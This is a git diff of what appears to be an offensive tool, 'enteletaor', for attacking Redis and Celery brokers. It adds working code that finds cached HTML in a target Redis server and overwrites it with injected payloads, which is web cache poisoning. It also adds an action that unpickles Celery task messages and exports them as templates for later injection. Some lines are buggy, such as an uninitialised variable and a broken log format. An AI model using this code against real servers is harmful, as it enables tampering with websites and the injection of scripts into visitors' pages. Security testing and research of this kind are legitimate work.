diff --git a/.idea/workspace.xml b/.idea/workspace.xml index b09a9bd..ff86c76 100644 --- a/.idea/workspace.xml +++ b/.idea/workspace.xml @@ -1,10 +1,13 @@ - - - + + + + + + @@ -18,16 +21,17 @@ - - - + + + + @@ -40,36 +44,14 @@ - - + + - - + + - - - - - - - - - - - - - - - - - - - - - - - - + + @@ -93,11 +75,6 @@ @@ -233,28 +215,6 @@ + - @@ -308,7 +268,7 @@ - + + + - - - + + + + + - - - + + + - + + + @@ -655,7 +653,37 @@ @@ -665,16 +693,16 @@ - + - - - + + + - + @@ -699,7 +727,11 @@ - @@ -709,6 +741,11 @@ 29 @@ -729,30 +766,6 @@ - - - - - - - - - - - - - - - - - - - - - - - - @@ -1161,51 +1174,24 @@ - - - - - - - - - - - - - - - - - - - - - + + - - - - - - - - - - + + @@ -1214,32 +1200,7 @@ - - - - - - - - - - - - - - - - - - - - - - - - - - + @@ -1254,14 +1215,6 @@ - - - - - - - - @@ -1273,34 +1226,11 @@ - - - - - - - - - - - - - - - - - - - - - - - - + @@ -1312,5 +1242,121 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/enteletaor_lib/modules/__init__.py b/enteletaor_lib/modules/__init__.py index 5b1b2c6..f274103 100644 --- a/enteletaor_lib/modules/__init__.py +++ b/enteletaor_lib/modules/__init__.py @@ -1,8 +1,6 @@ # -*- coding: utf-8 -*- -import abc import logging -import argparse log = logging.getLogger(__name__) diff --git a/enteletaor_lib/modules/proc/__init__.py b/enteletaor_lib/modules/proc/__init__.py index a69f24b..ee22d10 100644 --- a/enteletaor_lib/modules/proc/__init__.py +++ b/enteletaor_lib/modules/proc/__init__.py @@ -7,8 +7,9 @@ from modules import IModule from libs.core.structs import CommonData from libs.core.models import IntegerField, StringField, SelectField +from .cmd_actions import parser_proc_raw_dump, parser_proc_list_process from .proc_raw_dump import action_proc_raw_dump -from .cmd_actions import parser_proc_raw_dump +from .proc_list_process import action_proc_list_process log = logging.getLogger() @@ -38,6 +39,11 @@ class RemoteProcessModule(IModule): cmd_args=parser_proc_raw_dump, action=action_proc_raw_dump ), + 'list-process': dict( + help="list remote process and their params", + cmd_args=parser_proc_list_process, + action=action_proc_list_process + ), } name = "proc" diff --git a/enteletaor_lib/modules/proc/cmd_actions.py b/enteletaor_lib/modules/proc/cmd_actions.py index a21aa9f..db05f66 100644 --- a/enteletaor_lib/modules/proc/cmd_actions.py +++ b/enteletaor_lib/modules/proc/cmd_actions.py @@ -7,7 +7,19 @@ This file contains command line actions for argparser # ---------------------------------------------------------------------- def parser_proc_raw_dump(parser): - parser.add_argument("--tail", action="store_true", dest="tail_mode", default=False, - help="although all information be dumped do not stop") - parser.add_argument("-I", dest="interval", type=float, default=4, - help="timeout interval between tow connections") + gr = parser.add_argument_group("custom raw dump options") + + gr.add_argument("--streaming", action="store_true", dest="streaming_mode", default=False, + help="although all information be dumped do not stop") + gr.add_argument("-I", dest="interval", type=float, default=4, + help="timeout interval between tow connections") + + +# ---------------------------------------------------------------------- +def parser_proc_list_process(parser): + gr = parser.add_argument_group("process exporting options") + + gr.add_argument("-T", "--make-template", dest="template", type=str, + help="export process as a JSON template format, ready to make injections") + gr.add_argument("-F", "--function-name", dest="function_name", type=str, + help="only export this function name") diff --git a/enteletaor_lib/modules/proc/proc_list_process.py b/enteletaor_lib/modules/proc/proc_list_process.py new file mode 100644 index 0000000..6722032 --- /dev/null +++ b/enteletaor_lib/modules/proc/proc_list_process.py @@ -0,0 +1,118 @@ +# -*- coding: utf-8 -*- + +import os +import six +import json +import logging + +from kombu import Connection + +from .utils import list_remote_process + +log = logging.getLogger() + + +# ---------------------------------------------------------------------- +def get_param_type(value): + """ + Try to identify the parameter type by their value + + :return: string with type. Valid values: str, int, float, dict, list, bytes, object + :rtype: str + + """ + try: + # Distinguish between int and float + if int(value) == value: + return "int" + else: + return "float" + + except ValueError: + + # If raises type must be string or complex data + if type(value) == dict: + return "dict" + elif type(value) == list: + return "list" + elif type(value) == bytes: + try: + value.decode() + + return "bytes" + except Exception: + return "str" + + elif type(value) == str: + return "str" + else: + return "object" + + +# ---------------------------------------------------------------------- +def action_proc_list_process(config): + + log.warning(" - Trying to connect with server...") + + url = '%s://%s' % (config.broker_type, config.target) + + with Connection(url) as conn: + in_queue = conn.SimpleQueue('celery') + + process_info = {} + + # Get remote process + for remote_process, remote_args in list_remote_process(config, in_queue): + + if remote_process not in process_info: + process_info[remote_process] = remote_args + + # Try to identify parameters types + + # Display info + log.error(" - Remote process found:") + for p, v in six.iteritems(process_info): + log.error(" -> %s (%s)" % ( + p, + ", ".join("param_%s:%s" % (i, get_param_type(x)) for i, x in enumerate(v)) + )) + + # Export to template enabled? + if config.template is not None: + log.warning(" - Building template...") + + export_data = [] + + for p, v in six.iteritems(process_info): + + # Function name restriction? + if config.function_name is not None and config.function_name != p: + continue + + # Extract function params + for i, l_p in enumerate(v): + l_params = { + 'param_position': i, + 'param_type': get_param_type(l_p) + } + + # Add to function information + l_process = { + 'function': p, + 'parameters': l_params + } + + # Add to all data + + export_data.append(l_process) + + # -------------------------------------------------------------------------- + # Save template + # -------------------------------------------------------------------------- + # Build path in current dir + export_path = "%s.json" % os.path.abspath(config.template) + + # dumps + json.dump(export_data, open(export_path, "w")) + + log.error(" - Template saved at: '%s'" % export_path) diff --git a/enteletaor_lib/modules/proc/proc_raw_dump.py b/enteletaor_lib/modules/proc/proc_raw_dump.py index 5e2dd1f..a7ea680 100644 --- a/enteletaor_lib/modules/proc/proc_raw_dump.py +++ b/enteletaor_lib/modules/proc/proc_raw_dump.py @@ -5,9 +5,8 @@ import logging from time import sleep from kombu import Connection -from kombu.simple import Empty -from six.moves.cPickle import loads -from kombu.exceptions import SerializationError + +from .utils import list_remote_process log = logging.getLogger() @@ -15,61 +14,29 @@ log = logging.getLogger() # ---------------------------------------------------------------------- def action_proc_raw_dump(config): + log.warning(" - Trying to connect with server...") + url = '%s://%s' % (config.broker_type, config.target) # with Connection('redis://%s' % REDIS) as conn: with Connection(url) as conn: in_queue = conn.SimpleQueue('celery') - to_inject = [] - already_processed = set() - while 1: - try: - while 1: - message = in_queue.get(block=False, timeout=1) - # -------------------------------------------------------------------------- - # Try to deserialize - # -------------------------------------------------------------------------- - # Is Pickle info? - try: - deserialized = loads(message.body) - except SerializationError: - pass + for remote_process, remote_args in list_remote_process(config, in_queue): + # Show info + log.error("Found process information:") + log.error(" - Remote process name: '%s'" % remote_process) + log.error(" - Input parameters:") - msg_id = deserialized['id'] + for i, x in enumerate(remote_args): + log.error(" -> P%s: %s" % (i, x)) - # Read info - if msg_id not in already_processed: - - remote_process = deserialized['task'].split(".")[-1] - remote_args = deserialized['args'] - - # Show info - log.error("Found process information:") - log.error(" - Remote process name: '%s'" % remote_process) - log.error(" - Input parameters:") - for i, x in enumerate(remote_args): - log.error(" -> P%s: %s" % (i, x)) - - # Store as processed - already_processed.add(msg_id) - - # -------------------------------------------------------------------------- - # Store message to re-send - # -------------------------------------------------------------------------- - to_inject.append(deserialized) - - except Empty: - # When Queue is Empty -> reinject all removed messages - for x in to_inject: - in_queue.put(x, serializer="pickle") - - # Queue is empty -> wait - if config.tail_mode: - log.error("No more messages from server. Waiting for %s seconds and try again.." % config.interval) - sleep(config.interval) - else: - log.error("No more messages from server. Exiting...") - return + # Queue is empty -> wait + if config.streaming_mode: + log.error("No more messages from server. Waiting for %s seconds and try again.." % config.interval) + sleep(config.interval) + else: + log.error("No more messages from server. Exiting...") + return diff --git a/enteletaor_lib/modules/proc/utils.py b/enteletaor_lib/modules/proc/utils.py new file mode 100644 index 0000000..c1746d2 --- /dev/null +++ b/enteletaor_lib/modules/proc/utils.py @@ -0,0 +1,66 @@ +# -*- coding: utf-8 -*- + +from kombu.simple import Empty +from six.moves.cPickle import loads +from kombu.exceptions import SerializationError + + +# ---------------------------------------------------------------------- +def get_remote_messages(config, queue): + """ + Get all messages from queue without removing from it + + :return: yield raw deserialized messages + :rtype: json + """ + + to_inject = [] + + try: + while 1: + message = queue.get(block=False, timeout=1) + + # -------------------------------------------------------------------------- + # Try to deserialize + # -------------------------------------------------------------------------- + # Is Pickle info? + try: + deserialized = loads(message.body) + except SerializationError: + pass + + yield deserialized + + to_inject.append(deserialized) + + except Empty: + # When Queue is Empty -> reinject all removed messages + for x in to_inject: + queue.put(x, serializer="pickle") + + +# ---------------------------------------------------------------------- +def list_remote_process(config, queue): + """ + Get all messages from queue without removing from it + + :return: yield two values: remote_process name, remote args + :rtype: str, set + """ + + already_processed = set() + + for deserialized in get_remote_messages(config, queue): + + msg_id = deserialized['id'] + + # Read info + if msg_id not in already_processed: + + remote_process = deserialized['task'].split(".")[-1] + remote_args = deserialized['args'] + + # Store as processed + already_processed.add(msg_id) + + yield remote_process, remote_args diff --git a/enteletaor_lib/modules/redis/__init__.py b/enteletaor_lib/modules/redis/__init__.py index 4b10b1e..f7311e9 100644 --- a/enteletaor_lib/modules/redis/__init__.py +++ b/enteletaor_lib/modules/redis/__init__.py @@ -6,13 +6,14 @@ from modules import IModule from libs.core.models import StringField, IntegerField from libs.core.structs import CommonData -from .cmd_actions import parser_redis_dump, parser_redis_server_disconnect from .redis_dump import action_redis_dump +from .redis_shell import action_redis_shell from .redis_info import action_redis_server_info +from .redis_cache import action_redis_cache_poison +from .redis_discover_db import action_redis_discover_dbs from .redis_clients import action_redis_server_connected from .redis_disconnect import action_redis_server_disconnect -from .redis_shell import action_redis_shell -from .redis_discover_db import action_redis_discover_dbs +from .cmd_actions import parser_redis_dump, parser_redis_server_disconnect, parser_redis_server_cache_poison log = logging.getLogger() @@ -52,14 +53,15 @@ class RedisModule(IModule): action=action_redis_server_disconnect ), 'discover-dbs': dict( - help="discover all redis DBs at server", + help="discover all Redis DBs at server", action=action_redis_discover_dbs ), - # 'shell': dict( - # help="open a remote os shell through the Redis server", - # action=action_redis_shell - # ), + 'cache': dict( + help="poison remotes cache using Redis server", + action=action_redis_cache_poison, + cmd_args=parser_redis_server_cache_poison + ), } name = "redis" - description = "some attacks over Redis service" \ No newline at end of file + description = "some attacks over Redis service" diff --git a/enteletaor_lib/modules/redis/cmd_actions.py b/enteletaor_lib/modules/redis/cmd_actions.py index 281e2bd..b36e437 100644 --- a/enteletaor_lib/modules/redis/cmd_actions.py +++ b/enteletaor_lib/modules/redis/cmd_actions.py @@ -10,13 +10,35 @@ def parser_redis_dump(parser): """ Dump all redis database information """ - parser.add_argument("--no-raw", action="store_true", dest="no_raw", default=False, - help="do not show displays raw database info into screen") + gr = parser.add_argument_group("custom raw dump options") + gr.add_argument("--no-raw", action="store_true", dest="no_raw", default=False, + help="do not show displays raw database info into screen") # ---------------------------------------------------------------------- def parser_redis_server_disconnect(parser): - parser.add_argument("-c", action="store", dest="client", help="user to disconnect") - parser.add_argument("--all", action="store_true", dest="disconnect_all", default=False, - help="disconnect all users") + gr = parser.add_argument_group("custom disconnect options") + gr.add_argument("-c", action="store", dest="client", help="user to disconnect") + gr.add_argument("--all", action="store_true", dest="disconnect_all", default=False, + help="disconnect all users") + + +# ---------------------------------------------------------------------- +def parser_redis_server_cache_poison(parser): + gr = parser.add_argument_group("custom poison options") + + gr.add_argument("--search", action="store_true", dest="search_cache", default=False, + help="try to find cache info stored in Redis") + gr.add_argument("--cache-key", action="store", dest="cache_key", + help="try to poisoning using selected key") + + payload = parser.add_argument_group("payloads options") + payload.add_argument("-P", "--poison", action="store_true", dest="poison", default=False, + help="enables cache poisoning") + payload.add_argument("--payload", action="store", dest="poison_payload", + help="try inject cmd inline payload") + payload.add_argument("--file-payload", action="store", dest="poison_payload_file", + help="try inject selected payload reading from a file") + payload.add_argument("--replace-html", action="store", dest="new_html", + help="replace cache content with selected file content") diff --git a/enteletaor_lib/modules/redis/redis_cache.py b/enteletaor_lib/modules/redis/redis_cache.py new file mode 100644 index 0000000..76ceccc --- /dev/null +++ b/enteletaor_lib/modules/redis/redis_cache.py @@ -0,0 +1,194 @@ +# -*- coding: utf-8 -*- + +import redis +import logging + +from lxml import etree + +log = logging.getLogger() + + +# ---------------------------------------------------------------------- +def dump_key(key, con): + + key_type = con.type(key).lower() + val = None + if key_type in (b"kv", b"string"): + val = con.get(key) + if key_type == b"hash": + val = con.hgetall(key) + if key_type == b"zet": + val = con.zrange(key, 0, -1) + if key_type == b"set": + val = con.mget(key) + + if val is not None: + if isinstance(val, list): + if val[0] is None: + return None + return val + return None + + +# ---------------------------------------------------------------------- +def search_caches(con): + """ + Try to search cache keys + """ + found = False + + for x in con.keys(): + if "cache" in str(x).lower(): + yield x + + +# ---------------------------------------------------------------------- +def handle_html(config, content): + """ + Modify the HTML content + """ + + # -------------------------------------------------------------------------- + # Selected custom HTML file? + # -------------------------------------------------------------------------- + if config.new_html is not None: + with open(config.new_html, "rU") as f: + return f.read() + + # -------------------------------------------------------------------------- + # Search start and end possition of HTML page + # -------------------------------------------------------------------------- + for i, x in enumerate(content): + if chr(x) == "<": + pos_ini = i + break + + for i, x in enumerate(content[::-1]): + if chr(x) == ">": + pos_end = len(content) - i + break + + if pos_ini is None or pos_end is None: + raise ValueError("Not found HTML content into cache") + + txt_content = content[pos_ini:pos_end] + + # Parse input + tree = etree.fromstring(txt_content, etree.HTMLParser()) + doc_root = tree.getroottree() + + results = None + + # Search insertion points + for point in ("head", "title", "body", "script", "div", "p"): + insert_point = doc_root.find(".//%s" % point) + + if insert_point is None: + continue + + # -------------------------------------------------------------------------- + # Add the injection Payload + # -------------------------------------------------------------------------- + if config.poison_payload_file is not None: + with open(config.poison_payload_file, "rU") as f: + _f_payload = f.read() + payload = etree.fromstring(_f_payload) + + elif config.poison_payload: + payload = etree.fromstring(config.poison_payload) + else: + payload = etree.fromstring("") + + insert_point.addnext(payload) + + # Set results + results = bytes(etree.tostring(doc_root)) + + break + + # -------------------------------------------------------------------------- + # Build results + # -------------------------------------------------------------------------- + return results + + +# ---------------------------------------------------------------------- +def action_redis_cache_poison(config): + """ + Dump all redis information + """ + log.warning(" - Trying to connect with redis server...") + + # Connection with redis + con = redis.StrictRedis(host=config.target, port=config.port, db=config.db) + + if not config.cache_key: + cache_keys = set(search_caches(con)) + else: + if config.cache_key is None: + cache_keys = list(search_caches(con))[0] + else: + cache_keys = [config.cache_key] + + # -------------------------------------------------------------------------- + # Find cache keys + # -------------------------------------------------------------------------- + if config.search_cache is True: + log.error("Looking for caches in '%s'..." % config.target) + + for x in cache_keys: + log.warning(" - Possible cache found in key: %s" % str(x)) + + if not cache_keys: + log.warning(" - No caches found") + + # Stop + return + + if config.poison is True: + log.error(" - Poisoning enabled") + else: + log.error(" - Listing cache information:") + + # -------------------------------------------------------------------------- + # Explode caches + # -------------------------------------------------------------------------- + for val in cache_keys: + content = dump_key(val, con) + + # If key doesn't exist content will be None + if content is None: + log.error(" - Provided key '%s' not found in server" % val) + continue + + # -------------------------------------------------------------------------- + # Make actions over cache + # -------------------------------------------------------------------------- + # Poison is enabled? + if config.poison is True: + # Set injection + try: + modified = handle_html(config, content) + except ValueError as e: + log.error(" - Can't modify cache content: " % e) + continue + except IOError as e: + log.error(" - Can't modify cache content: " % e) + + # Injection was successful? + if modified is None: + log.warning(" - Can't modify content: ensure that content is HTML") + continue + + # Set injection into server + con.setex(val, 200, modified) + + log.error(" - Poisoned cache key '%s' at server '%s'" % (val, config.target)) + else: + + # If not poison enabled display cache keys + log.error(" -> Key: '%s' - " % val) + log.error(" -> Content:\n %s" % content) + + if not cache_keys: + log.error(" - No cache keys found in server: Can't poison remote cache.") diff --git a/enteletaor_lib/modules/redis/redis_clients.py b/enteletaor_lib/modules/redis/redis_clients.py index bed8009..9985e39 100644 --- a/enteletaor_lib/modules/redis/redis_clients.py +++ b/enteletaor_lib/modules/redis/redis_clients.py @@ -12,7 +12,7 @@ def action_redis_server_connected(config): """ Dump all redis information """ - log.warning("Trying to connect with redis server...") + log.warning(" - Trying to connect with redis server...") # Connection with redis con = redis.StrictRedis(host=config.target, port=config.port, db=config.db) diff --git a/enteletaor_lib/modules/redis/redis_disconnect.py b/enteletaor_lib/modules/redis/redis_disconnect.py index a38f952..58de945 100644 --- a/enteletaor_lib/modules/redis/redis_disconnect.py +++ b/enteletaor_lib/modules/redis/redis_disconnect.py @@ -12,7 +12,7 @@ def action_redis_server_disconnect(config): """ Disconnect one or more users from server """ - log.warning("Trying to connect with redis server...") + log.warning(" - Trying to connect with redis server...") # Connection with redis con = redis.StrictRedis(host=config.target, port=config.port, db=config.db) diff --git a/enteletaor_lib/modules/redis/redis_discover_db.py b/enteletaor_lib/modules/redis/redis_discover_db.py index 3b56273..59b5a18 100644 --- a/enteletaor_lib/modules/redis/redis_discover_db.py +++ b/enteletaor_lib/modules/redis/redis_discover_db.py @@ -12,7 +12,7 @@ def action_redis_discover_dbs(config): """ Dump all redis information """ - log.warning("Trying to connect with redis server...") + log.warning(" - Trying to connect with redis server...") # Connection with redis con = redis.StrictRedis(host=config.target, port=config.port, db=config.db) diff --git a/enteletaor_lib/modules/redis/redis_dump.py b/enteletaor_lib/modules/redis/redis_dump.py index 1806b27..d912e5f 100644 --- a/enteletaor_lib/modules/redis/redis_dump.py +++ b/enteletaor_lib/modules/redis/redis_dump.py @@ -2,7 +2,6 @@ import redis import logging -import pprint log = logging.getLogger() @@ -35,7 +34,7 @@ def action_redis_dump(config): """ Dump all redis information """ - log.error("Trying to connect with redis server...") + log.warning(" - Trying to connect with redis server...") # Connection with redis con = redis.StrictRedis(host=config.target, port=config.port, db=config.db) diff --git a/enteletaor_lib/modules/redis/redis_info.py b/enteletaor_lib/modules/redis/redis_info.py index 23d5896..26ea0be 100644 --- a/enteletaor_lib/modules/redis/redis_info.py +++ b/enteletaor_lib/modules/redis/redis_info.py @@ -12,7 +12,7 @@ def action_redis_server_info(config): """ Dump all redis information """ - log.warning("Trying to connect with redis server...") + log.warning(" - Trying to connect with redis server...") # Connection with redis con = redis.StrictRedis(host=config.target, port=config.port, db=config.db) diff --git a/enteletaor_lib/modules/redis/redis_shell.py b/enteletaor_lib/modules/redis/redis_shell.py index 3af03ea..0e64310 100644 --- a/enteletaor_lib/modules/redis/redis_shell.py +++ b/enteletaor_lib/modules/redis/redis_shell.py @@ -12,7 +12,7 @@ def action_redis_shell(config): """ Dump all redis information """ - log.warning("Trying to connect with redis server...") + log.warning(" - Trying to connect with redis server...") # Connection with redis con = redis.StrictRedis(host=config.target, port=config.port, db=config.db)